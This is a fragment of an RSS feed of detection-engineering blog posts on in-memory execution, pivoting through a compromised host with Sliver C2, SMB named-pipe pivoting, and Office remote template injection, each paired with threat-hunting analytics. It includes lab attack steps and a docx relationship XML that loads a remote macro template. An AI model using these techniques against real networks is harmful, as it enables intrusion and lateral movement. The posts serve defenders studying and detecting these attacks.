&quot;,&quot;MSec&quot;:&quot;19025.2379&quot;,&quot;NativePdbAge&quot;:&quot;1&quot;,&quot;ModuleFlags&quot;:<br>&quot;DomainNeutral|Native|Manifest|0x10&quot;,&quot;AssemblyID&quot;:&quot;1,760,535,574,336&quot;,&quot;PID&quot;:&quot;4816&quot;,&quot;NativePdbSignature&quot;:&quot;97c42170-0557-a331-a310-41b81ac3b698&quot;,&quot;ModuleILPath&quot;:&quot;C:\\Windows\\Microsoft.Net\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll&quot;,&quot;TID&quot;:&quot;50<br>00&quot;,&quot;ManagedPdbAge&quot;:&quot;2&quot;,&quot;ProviderName&quot;:&quot;Microsoft-Windows-DotNETRuntime&quot;,&quot;PName&quot;:&quot;&quot;,&quot;ClrInstanceID&quot;:&quot;12&quot;,&quot;EventName&quot;:&quot;Loader/ModuleLoad&quot;}}<br><br>{&quot;ProviderGuid&quot;:&quot;e13c0d23-ccbc-4e12-931b-d9cc2eee27e4&quot;,&quot;YaraMatch&quot;:[],&quot;ProviderName&quot;:&quot;Microsoft-Windows-DotNETRuntime&quot;,&quot;EventName&quot;:&quot;Loader/ModuleLoad&quot;,&quot;Opcode&quot;:33,&quot;OpcodeName&quot;:&quot;ModuleLoad&quot;,&quot;TimeStamp&quot;:&quot;2023-08-26T09:26:16.3896342-07:00&quot;,&quot;ThreadID&quot;:5000,&quot;ProcessID&quot;:4816,<br>&quot;ProcessName&quot;:&quot;MANY_PAPER&quot;,&quot;PointerSize&quot;:8,&quot;EventDataLength&quot;:88,&quot;XmlEventData&quot;:{&quot;ModuleID&quot;:&quot;140,711,729,250,632&quot;,&quot;ManagedPdbSignature&quot;:&quot;00000000-0000-0000-0000-000000000000&quot;,&quot;Reserved1&quot;:&quot;0&quot;,&quot;ManagedPdbBuildPath&quot;:&quot;&quot;,&quot;ModuleNativePath&quot;:&quot;&quot;,&quot;NativePdbBuildPath&quot;:&quot;&quot;,&quot;Formatte<br>dMessage&quot;:&quot;ModuleID=140,711,729,250,632;\r\nAssemblyID=1,760,535,702,192;\r\nModuleFlags=Manifest;\r\nModuleILPath=0;\r\nModuleNativePath=SharpUp;\r\nClrInstanceID=;\r\nManagedPdbSignature=12;\r\nManagedPdbAge=00000000-0000-0000-0000-000000000000;\r\nManagedPdbBuildPath<br>=0;\r\nNativePdbSignature=;\r\nNativePdbAge=00000000-0000-0000-0000-000000000000;\r\nNativePdbBuildPath=0 &quot;,&quot;MSec&quot;:&quot;19109.6915&quot;,&quot;NativePdbAge&quot;:&quot;0&quot;,&quot;ModuleFlags&quot;:&quot;Manifest&quot;,&quot;AssemblyID&quot;:&quot;1,760,535,702,192&quot;,&quot;PID&quot;:&quot;4816&quot;,&quot;NativePdbSignature&quot;:&quot;00000000-0000-0000-0000-000000<br>000000&quot;,&quot;ModuleILPath&quot;:&quot;SharpUp&quot;,&quot;TID&quot;:&quot;5000&quot;,&quot;ManagedPdbAge&quot;:&quot;0&quot;,&quot;ProviderName&quot;:&quot;Microsoft-Windows-DotNETRuntime&quot;,&quot;PName&quot;:&quot;&quot;,&quot;ClrInstanceID&quot;:&quot;12&quot;,&quot;EventName&quot;:&quot;Loader/ModuleLoad&quot;}}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60adc61aef8" width="1" height="1" alt=""><hr><p><a href="https://detect.fyi/exploring-execute-assembly-a-deep-dive-into-in-memory-threat-execution-60adc61aef8">Exploring Execute-Assembly: A Deep Dive into In-Memory Threat Execution</a> was originally published in <a href="https://detect.fyi/">Detect FYI</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Purple teaming — Understand Pivoting]]></title>
            <link>https://detect.fyi/purple-teaming-understand-pivoting-160609902ecf?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/160609902ecf</guid>
            <category><![CDATA[sliverc2]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[attack-simulation]]></category>
            <category><![CDATA[purple-teaming]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Sun, 06 Aug 2023 14:05:23 GMT</pubDate>
            <atom:updated>2023-08-06T14:18:00.617Z</atom:updated>
            <content:encoded><![CDATA[<h3>Purple teaming — Understand Pivoting</h3><p>Pivoting is a crucial step in the adversaries’ strategies to further compromise a targeted environment and bypass strong perimeter defenses. This involves the abuse of an infected host to advance their intrusion into other network segments, systems, and services that are not accessible directly from the Internet</p><p>While pivoting is of significant importance to attackers, it remains relatively unpopular among cyber defenders. In this blog post, we will delve deeper into the concept of pivoting, and the ways it poses a significant threat to organizations.</p><p>P/s: in the previous article, I discussed in detail one pivoting technique via SMB-named pipe (<a href="https://medium.com/@tho-le/threat-hunting-pivoting-via-smb-named-pipe-44f5f9b45b7b">https://medium.com/@tho-le/threat-hunting-pivoting-via-smb-named-pipe-44f5f9b45b7b</a>)</p><h4>How Pivoting Works</h4><p>Pivoting represents a tactical maneuver adopted by malicious actors to bypass strong perimeter defenses. Once an adversary successfully gains entry into a target system, they often encounter roadblocks as sensitive services may be concealed from direct Internet exposure. Pivoting offers them a way to advance through the network, utilizing compromised hosts as intermediaries to access sensitive systems which are only accessible from a certain network or jump host. By “hopping” between these stepping stones, adversaries can mask their tracks and prolong their presence, complicating detection efforts for cybersecurity professionals.</p><p>The figure below illustrates 2 scenarios for pivoting.</p><ul><li><strong>Scenario 1</strong>: the attacker abuses the beachhead to access services. For example, he can access shared files or internal websites to gather information. This scenario mostly relies on local and dynamic port forwarding to relay traffic between Kali and crown jewel servers via Beachhead.<br>P/s: In addition to proxying traffic, attackers may opt for an alternative approach by utilizing the beacon to execute a utility within the Beachhead via process injection. For instance, rather than executing a Winrm tool directly from their local Kali machine, they can inject a .NET assembly of the Winrm tool for PowerShell remoting to the targeted server.</li><li><strong>Scenario 2</strong>: the attacker can establish a foothold on a crown jewel server and remotely control the server. This allows the attacker to further advance their movement to deeper network segments. This scenario mostly relies on reverse/remote port forwarding or abuse of Windows services to intermediate their movement (I explained <a href="https://medium.com/@tho-le/threat-hunting-pivoting-via-smb-named-pipe-44f5f9b45b7b">Pivoting via SMB Named Pipe</a> in the previous article)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*D-vamzYWP_2Xv0JlefVBrA.jpeg" /><figcaption>Pivoting scenarios</figcaption></figure><h4>Pivoting Simulation</h4><p>To illustrate the concept of pivoting, I have configured a lab environment as in the figure above. The lab involves pivoting toward the crown jewel server (192.168.1.2) to showcase potential exploitations: (1) port scanning (2) Accessing shared files<strong> (3) </strong>PowerShell remoting via Winrm (4) Surfing internal websites (5) Tunneling Remote desktop (6) Reverve port forwarding to hop to the crown jewel server</p><p>I will use SliverC2 to establish a C2 tunnel to Beachhead as well as port forwarding; however, many other C2 frameworks or tools offer similar functionalities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*pyCw7yuo4kfALh1Rge6Hfw.png" /><figcaption>C2 session to Beachhead</figcaption></figure><ol><li><strong>Port scanning (Scenario 1)</strong></li></ol><p>Upon gaining access to the beachhead, adversaries perform reconnaissance via port scanning to discover other systems and available services.</p><p>For convenience, I will use “socks5” to dynamically forward all traffic from Kali via Beachhead. Kali will listen on port 1081.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*feJT6IuYxQE2pWN6Hqgqag.png" /><figcaption>Set up socks5 from the beacon</figcaption></figure><p>In Kali, I update the proxychain configuration to use the newly created socks5 proxy 127.0.0.1:1081.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*8LHlK9Z5pHK_-tc0TJ5lkg.png" /><figcaption>proxychains4 configuration</figcaption></figure><p>From Kali, nmap was executed to scan a few ports targeting the jewel server (192.168.1.2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*JppDHgpr2WI_zPNxG9O-VA.png" /><figcaption>Nmap — port scanning targeting the crown jewel server</figcaption></figure><p>As expected, the SliverC2 beacon in Beachhost relays all Nmap traffic from Kali to the crown jewel server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DLneLnhiZE_Yd_HOSa1XOg.png" /><figcaption>Beachhead TCPView — Nmap scanning traffic was relayed to the server via SliverC2 beacon</figcaption></figure><p><strong>2. Accessing shared files (Scenario 1)</strong></p><p>Adversaries may use automated tools and/or manually inspect shared files to gather information and exfiltrate data. For example, they may look for *.sql file to understand the structures of databases and tables.</p><p>For simulation purposes, I leverage Impactket’s smbclient.py to access shared files from the crown jewel server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*UjggUamzaIhQumKjvLr8yA.png" /><figcaption>smbclient.py to access shared files in the crown jewel server from Kali</figcaption></figure><p>As can be seen from TCPView, “SPARKLING_LADDER.exe”, the SliverC2 beacon, is responsible for SMB traffic toward 192.168.1.2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-NLJiIeBuu0u5OBmM6EUGg.png" /><figcaption>Beachhead TCPView — SliveC2 beacon’s SMB connection to the server</figcaption></figure><p><strong>3. PowerShell remoting via Winrm (Scenario 1)</strong></p><p>PowerShell remoting has become a preferred choice for adversaries seeking fileless lateral movement. This article illustrates how these malicious actors can exploit PowerShell remoting to achieve remote code execution.</p><p>Since Sliver’s socks5 is not really reliable, I manually set up a local port forwarding for Winrm (port 5985). Upon executing the “portfwd add” command, Kali will listen on 127.0.0.1 port 5985, and all traffic toward 127.0.0.1:5985 will be relayed at Beachhead toward the crown jewel server (192.168.1.2)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*hTZIMSLhOtXJ-8vxt1Welg.png" /><figcaption>Local port forwarding for Winrm</figcaption></figure><p>evil-winrm, an available tool in Kali, is used to PowerShell remoting to the crown jewel server. For demonstration, only “ipconfig” command was executed, but any PowerShell commands/functions can be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*6rEBWds-kclSHTPdJNSoSg.png" /><figcaption>evil-winrm for powershell remoting</figcaption></figure><p>Similar to previous tests, the SliverC2 beacon is responsible for Winrm traffic (port 5985) toward 192.168.1.2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFgADjh-60C8ADZRUtKOJg.png" /><figcaption>Beadhead TCPView — SliveC2 beacon’s Winrm connection to the server</figcaption></figure><p><strong>4. Surfing internal websites</strong></p><p>Another abuse scenario involves leveraging the established foothold to conduct reconnaissance on internal websites, including Confluence, Jira, SharePoint, Git repositories, and more.</p><p>From port scanning, we know that there is a web service open in the crown jewel server via port 8080. In order to avoid changing the proxy configuration of my browser in Kali, I set up the local port forwarding for port 8080 as below. Otherwise, you can just update the browser’s proxy to the socks5 proxy set up in test (1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*pq3-Aq78IdlA3cnANeSWWA.png" /><figcaption>Local port forwarding for Web service</figcaption></figure><p>Using Kali, I can gain access to the website hosted on the crown jewel server via the Beachhead, which is otherwise inaccessible directly from the Internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*MsPBMZLocfaH_DnYtT3k8Q.png" /><figcaption>Content of Website from the crown jewel server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FCUyLX9q3mIe5HDkJA7mLA.png" /><figcaption>Beachhead TCPView — HTTP traffic is intermediated to the web server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*ZvcZtvogOtJT-uVaZlnM1w.png" /><figcaption>Web transaction logs on the Web server showing accessing sourse from Beachhead (real source is Kali)</figcaption></figure><p><strong>5. Tunneling Remote desktop (Scenario 1)</strong></p><p>Remote desktop is one of the favorite methods to remotely access a compromised host. The port scanning in test case (1) reveals an open RDP service on the crown jewel server. Hence, adversaries can hop to the server by relaying RDP traffic via Beachhead</p><p>Similarly, I create another local port forwarding for RDP traffic as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*hUBH2kqBO-iZsmQslSlrmA.png" /><figcaption>Local port forwarding for RDP traffic</figcaption></figure><p>using the “Rdesktop” tool, I can remote desktop to remote server from Kali</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*xdg2nSqCKCzyg4xNALB4Mw.png" /><figcaption>Rdesktop tool to RDP from Kali toward the crown jewel server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1rLBsPMli_zGMviJjO5rQ.png" /><figcaption>Beachhead TCPView — SliverC2 beacon relays RDP (port 3389) from Kali to the targeted server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*mMtb3IhQU8wNdfZmunB-jQ.png" /><figcaption>Crown jewel server — Successful logon event with source IP 192.168.1.1 (Beachhead)</figcaption></figure><p><strong>7. Reserve port forwarding to hop to the crown jewel server (Scenario 2)</strong></p><p>Previously, I explained the concept of pivoting via named pipe in the article <a href="https://tho-le.medium.com/threat-hunting-pivoting-via-smb-named-pipe-44f5f9b45b7b">Threat hunting Pivoting via SMB Named Pipe</a>. For more information, please refer to that article. In this test, we will explore another possibility via reverse/remote port forwarding.</p><p>In a nutshell, Beachead will listen on a random port that is not registered by any other processes. In this example, I instruct the beacon in Beachhead to listen for Sliver C2 traffic on port 1025 and forward those traffic toward my Sliver C2 server (Kali).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*M26RA4KB28fZGVtM7FAb2g.png" /><figcaption>TCP pivoting via port 1025</figcaption></figure><p>As can be seen from the figure above, another implant for TCP pivot was generated, namely SILLY_MENTION.exe. There are multiple options to deliver this newly created beacon to the crown jewel server. In this test, I will use impacket’s smbclient.py to upload the file and execute it via PowerShell remoting (which were presented in tests (2) and (3) above).</p><p>Firstly, I access the shared “Users” folder and put SILLY_MENTION.exe on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*5mLZA9Z8v2NaKLF7Sz0X6w.png" /><figcaption>Uploading TCP pivoting implant to the crown jewel server</figcaption></figure><p>evil-winrm is used to run the TCP pivoting beacon via PowerShell remoting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*RFIlTbYC3hhGUktLM4W-dQ.png" /><figcaption>TCP pivoting is executed via PowerShell remoting</figcaption></figure><p>Upon execution of “SILLY_MENTION.exe”, a new session was shown up in the Sliver server console. From now on, the adversaries have established their control on the crown jewel server. They may abuse this server, similar to Beachhead, in order to further advance their footprint to deeper network segments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RSPGGyK13Tu-c8XGnqERfw.png" /><figcaption>TCP pivoting session</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*koC-Eq6-UIDX5YCFQCTYUw.png" /><figcaption>Beachead TCPView — TCP pivoting port 1025</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=160609902ecf" width="1" height="1" alt=""><hr><p><a href="https://detect.fyi/purple-teaming-understand-pivoting-160609902ecf">Purple teaming — Understand Pivoting</a> was originally published in <a href="https://detect.fyi/">Detect FYI</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat hunting Pivoting via SMB Named Pipe]]></title>
            <link>https://tho-le.medium.com/threat-hunting-pivoting-via-smb-named-pipe-44f5f9b45b7b?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/44f5f9b45b7b</guid>
            <category><![CDATA[purple-teaming]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[sliverc2]]></category>
            <category><![CDATA[command-and-control]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Sun, 30 Jul 2023 15:59:38 GMT</pubDate>
            <atom:updated>2024-03-27T09:58:17.165Z</atom:updated>
            <content:encoded><![CDATA[<p>Once gaining a foothold into the environment, adversaries move laterally to compromise different systems till achieving their objectives. However, most enterprise networks are heavily segmented from Internet-Accessible network segments to more restricted networks without direct Internet access. Hence, adversaries will need to leverage existing compromised systems as internal proxies to pivot to systems in restricted networks.</p><p>In this article, we simulate the pivoting via SMb Named Pipe with Sliver C2 framework and explore effective detection and threat-hunting opportunities against this attack.</p><p>The article contains 3 main parts as below:</p><ul><li>How the attack works</li><li>Attack simulation</li><li>Detection and threat-hunting opportunities</li></ul><h3>How the attack works</h3><p>As illustrated in the figure below, once the adversaries compromise a system in a targeted environment, namely <strong>Beachhead</strong>, they will need to discover the compromised environment and laterally move to different systems in order to achieve their objective, namely <strong>crown jewel servers</strong>. However, as crown jewel servers are segmented with private IPs and have no direct Internet access, the adversaries cannot interact with the crown jewel servers. To control the crown jewel servers from the Internet, attackers leverage Beachhead as an interal proxy to mediate the communication from <strong>Kali</strong>, the hackers’ own system, to the crown jewel servers.</p><p>There are many ways to relay traffic between Kali and crown jewel servers via Beachhead, such as via TCP port forwarding. In this article, we examine pivoting via named pipe since SMB is popular in Windows environments; hence, it is (1) almost always available and (2) easy to blend in normal traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*J0TZSYBbaDLIIc-O6VQyUQ.jpeg" /></figure><h3>Attack simulation</h3><p>To simulate this attack, I will use <a href="https://github.com/BishopFox/sliver">Sliver C2 framework</a> for demonstration purposes; however, other C2 frameworks (e.g. Cobalt Strike, Metasploit, etc.) or tools can also be used. It is important to note that the direction of SMB traffic can be as in the diagram above or in the reverse direction (from Beachead to crown jewel servers) depending on C2 frameworks or tools.</p><p>below are steps to simulate the attack:</p><p><strong>Step 1: Compromise Beachhead and setup named pipe to relay traffic</strong></p><p>Assuming that the adversaries somehow gain the initial foothold in the environment, this could be via phishing, vulnerability exploitation and third-party compromise etc. Upon success, the adversaries execute Sliver beacon and remotely control the beachhead via HTTP traffic.</p><p>In Kali, Adversaries generate implants as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*18y969QgH-UL8WslDUmI4Q.png" /></figure><p>When Beachhead executes the implant “SPARKING_LADDER”, a session is established</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*pyCw7yuo4kfALh1Rge6Hfw.png" /></figure><p>Using Beachhead’s session, set up the named pipe for the pivoting purpose</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*92VosAnKoeurz3t5ntg4HQ.png" /></figure><p>as shown above, Beachhead is now listening on the named pipe: <strong>pivotingpipe</strong> to relay traffic to the Attackers’ controlled system in the Internet</p><p><strong>Step 2</strong>: <strong>Compromise crown jewel servers with named-pipe implant</strong></p><p>Once controlling Beachhead, attackers execute the named-pipe implant in the crown jewel server. There are multiple attack vectors for this phase. For example, if the server is outdated and has vulnerabilities, remote code execution can be achieved by exploiting a vulnerability . Another possibility is that attackers harvest an admin credential and execute code remotely via WMI, WIN RM, windows service, scheduled tasks and DCOM etc.</p><p>Upon execution of “OUTRAGEOUS_LANDSCAPE” implant in the crown jewel server, all C2 traffic from crown jewel servers is relayed via the named pipe “pivotingpipe” in Beadhead (1.1.1.1) to Kali</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*ykGY18tjhBRKQKPd7Gk0qg.png" /></figure><h3>Detection and threat-hunting opportunities</h3><p><strong>Hypothesis</strong>: Attackers may abuse a compromised host to act as an internal proxy to relay all traffic from non-direct Internet access to a C2 server via an SMB named pipe.</p><p>below are some analytics to detect/hunt pivoting via SMB named pipe:</p><p><strong>Analytic 1: Abnormal SMB traffic flow from restricted networks to Internet-accessible networks</strong></p><ul><li>Description: examine the net flow or firewall logs to detect/hunt unexpected SMB flow</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GHBMDekLH36fq_RM6cNEQ.png" /><figcaption>SMB network connection from Zeek’s conn.log</figcaption></figure><ul><li>Data source: Network flow, NDR, and Firewall logs</li></ul><p><strong>Analytic 2</strong>: <strong>Abnormal named pipe access from the network by detailed file share audit logs</strong></p><ul><li>Description: depending on your environment, accessing the named pipe remotely may not be a common behavior. Event 5145 records details of all shared access including named pipe</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*23uQ6pCc1MzAFLtsk7z3SA.png" /></figure><ul><li>data source: Windows event logs 5145. Please note that this event can be noisy and is usually not configured on all Windows hosts (often only on shared file servers)</li></ul><p><strong>Analytic 3</strong>: <strong>Abnormal named pipe access from the network by network logs</strong></p><ul><li>Description: depending on your environment, accessing the named pipe remotely may not be a common behavior. Network traffic or NDR logs (e.g. Zeek) can be used to detect this behavior.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qcwzWad53Uay-DYFeqMlGg.png" /><figcaption>Packets showing Named pipe access on top of SMB traffic</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y8naBlbVTZS3tytIAGYrqg.png" /><figcaption>Zeek smb_mapping.log</figcaption></figure><p>Note: Zeek doesn’t seem to be able to parse the “end point”: pivotingpipe. (there is no smb_files.log)</p><ul><li>Data source: network traffic and NDR logs.</li></ul><p><strong>Analytic 4</strong>: <strong>Abnormal named pipe access from the network by Sysmon event 18 or equivalent log</strong></p><p>In my test, all named pipe-connected events are as below; It doesn’t have the remote IP field to indicate a remote Pipe access. The Image is <strong>System</strong> as Windows core listens to port 445 for SMB (which makes sense). This makes me question what if a process access to the named pipe locally? should it be that no SMB is required and the Named Pipe Transport protocol is run directly?</p><p>From the <a href="https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipes">official page</a>:</p><p>“Named pipes can be used to provide communication between processes on the same computer or between processes on different computers across a network. If the server service is running, all named pipes are accessible remotely. If you intend to use a named pipe locally only, deny access to NT AUTHORITY\NETWORK or switch to local RPC.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*hxqOFKT60qNtC-ZSkfcM2w.png" /><figcaption>Pipe Connected from a remote host via SMB</figcaption></figure><p>I tried to connect to the pipe directly via PowerShell, Event 18 shows the image as PowerShell_ISE.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*xpnxRyRjQrYedjGtsVL3IQ.png" /><figcaption>Pipe connected from local via PowerShell script</figcaption></figure><p>In conclusion, <strong>Image = system </strong>indicates Piped connect via SMB, which is our interest to detect named pipe pivoting.</p><p>In order to confirm whether the behavior is consistent, I tested the scenario with Cobalt Strike (version 4.9.1) and the result aligns with the conclusion above. rundll32.exe is the Cobalt Strike implant which created the “pivotingpipe” named pipe in the domain controller server. Then I connected to that pipe in DC-2 to remotely control it from another host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*f9uAlk7KSsX-mcQhoERm4A.png" /><figcaption>SMB Pivoting with Cobalt Strike</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WcHGkT4bqyi8pnhho2czHg.png" /><figcaption>Named pipe events generated by Cobalt Strike</figcaption></figure><ul><li>Data source: Sysmon event 18 or equivalent</li></ul><p><strong>Analytic 5</strong>: <strong>Abnormal named pipe creation</strong></p><ul><li>Description: depending on your environment, named pipe creation may not be too noisy and occur in patterns that can be used for detection or hunting</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*O5ULXhXnnQl3gHu777HG9g.png" /></figure><ul><li>Data source: Sysmon event 17 or equivalent</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44f5f9b45b7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remote MS Office template injection]]></title>
            <link>https://tho-le.medium.com/remote-ms-office-template-injection-ffbe0d81512d?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffbe0d81512d</guid>
            <category><![CDATA[remote-template-injection]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[purple-teaming]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[simulation]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Sun, 16 Jul 2023 07:43:45 GMT</pubDate>
            <atom:updated>2023-07-16T07:43:45.438Z</atom:updated>
            <content:encoded><![CDATA[<p>This article delves into the remote MS Office template injection attack, offering a comprehensive exploration of its inner workings. By simulating the attack scenario, we gain valuable insights into its execution and potential implications. Furthermore, we explore effective detection and threat-hunting opportunities against this attack.</p><p>The article contains 3 main parts as below:</p><ul><li>How the attack works</li><li>Attack simulation</li><li>Detection and threat-hunting opportunities</li></ul><h4><strong>How the attack works</strong></h4><p>When opening an MS document file (e.g. docx, pptx, and xlsx), usually a default MS template will be loaded by MS Office (e.g. C:\Program Files\Microsoft Office\Office16\Normal.dotm). However, a template can be easily defined/modified by updating a setting. This opens an opportunity for adversaries to weaponize a “look benign” document for their phishing campaign by sending a “harmless” MS document file referring to a remote malicious template, which is only fetched and loaded upon opening the decoy file. This will effectively evade existing email security measures.</p><p>Below is an example of that setting for a <strong>docx</strong> file (the simulation part will uncover in further detail ). In short, this setting tells winword.exe to access the “target”, fetch the template file (opencalc.dotm) and load the template.</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&gt;<br>&lt;Relationships <br>xmlns=&quot;http://schemas.openxmlformats.org/package/2006/relationships&quot;&gt;<br>&lt;Relationship Id=&quot;rId1&quot; Type=&quot;http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate&quot; <br>Target=&quot;https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1221/src/opencalc.dotm?raw=true&quot; <br>TargetMode=&quot;External&quot;/&gt;<br>&lt;/Relationships&gt;</pre><h4>Attack simulation</h4><p>The figure below illustrates the attack scenario. From a phishing campaign, attackers send an email with a “harmless’ word file attached to bypass existing email security measures. A user is lured to open that Word file, winword.exe fetches and loads the malicious template with Marco (VBA). In this example, the macro will simply spawn calc.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*Gr8Sw8nEpV8SKMz8rBRL_A.jpeg" /></figure><p>In this article, we use the existing test by <a href="https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221">atomic read team</a>. However, GitHub changes the URL to access “opencalc.dotm”, to make the test work, we need to update the URL with the following steps (actually, you can create a new sample by following the step as well):</p><ul><li>Step 1: Unzip the benign.docx file (the new MS document file format is essentially just a compressed file)</li><li>Step 2: open \word\_rels\settings.xml.rels in a text and editor to update “target” with the update URL as below:</li></ul><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&gt;<br>&lt;Relationships <br>xmlns=&quot;http://schemas.openxmlformats.org/package/2006/relationships&quot;&gt;<br>&lt;Relationship Id=&quot;rId1&quot; Type=&quot;http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate&quot; <br>Target=&quot;https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1221/src/opencalc.dotm?raw=true&quot; <br>TargetMode=&quot;External&quot;/&gt;<br>&lt;/Relationships&gt;</pre><ul><li>Step 3: Zip the whole content back to benign.docx</li></ul><p>Upon execution, you will see the following screenshots:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*N5-YviClrzdsk7AmCRAIeA.png" /><figcaption>As benign.docx is sent from Internet (mark of the we)b, it will be open in “Protected Viewed”. Upon enable, “opencalc.dotm” will be fetched and loaded.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*7J-Btw6wi5lEhJHs-aPFNw.png" /><figcaption>Marco is disabled by default. Upon enable, VBA will be executed</figcaption></figure><h4>Detection, and threat-hunting opportunities</h4><p><strong>Hypothesis</strong>: adversaries lure users to open a “harmless” document that links to a malicious template hosted in a remote server.</p><p>below are some analytics to detect/hunt remote template injection:</p><ul><li><strong>Analytic 1</strong>: Detect MS Office template files written to the user’s folder</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*sdcw2pqV_MwEaRFYjdqoqA.png" /></figure><p>In the test, the downloaded template will be deleted after closing winword.exe.</p><p>Data source: Sysmon (id 11) , EDR logs (or equivalent) are required for detection.</p><ul><li><strong>Analytic 2</strong>: Detect MS Office accessing suspicious URL(s)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*FSVW9wfLavJJNl40fPAy1Q.png" /></figure><p>Depending on your IT infrastructure/hygiene, MS Office accessing an unknown URL should be a red flag, especially to download a template file. However, please note that advanced attackers can easily hide file name in URL (e.g. https://evil.com/index.php?d=&lt;randome&gt;).<br>In a well-designed environment, accessing untrusted Internet sites from MS Office should be prohibited.</p><p>data sources: proxy logs (preferably full TLS termination) (or equivalent) are required.</p><ul><li><strong>Analytic 3</strong>: Marco/VBA execution from mark-of-the-web (MOTW) documents</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bbVGvV1D4nkngRFgfHMd_w.png" /></figure><p>As can be seen from the screenshot above, winword.exe set “TrustRecords” for “benign.docx” twice, one when “Enable editing” and one when “Enable Content” (enable Marco). Hence, “TrustRecords” is set two times for a document indicating a MOTW document is opened with VBA execution, which should be a red flag.</p><p>Data sources: Sysmon (id 12, 13) or EDR (or equivalent) for registry key events are required.</p><ul><li>Analytic 4: MS Office spawns suspicious child processes</li></ul><figure><img alt="" 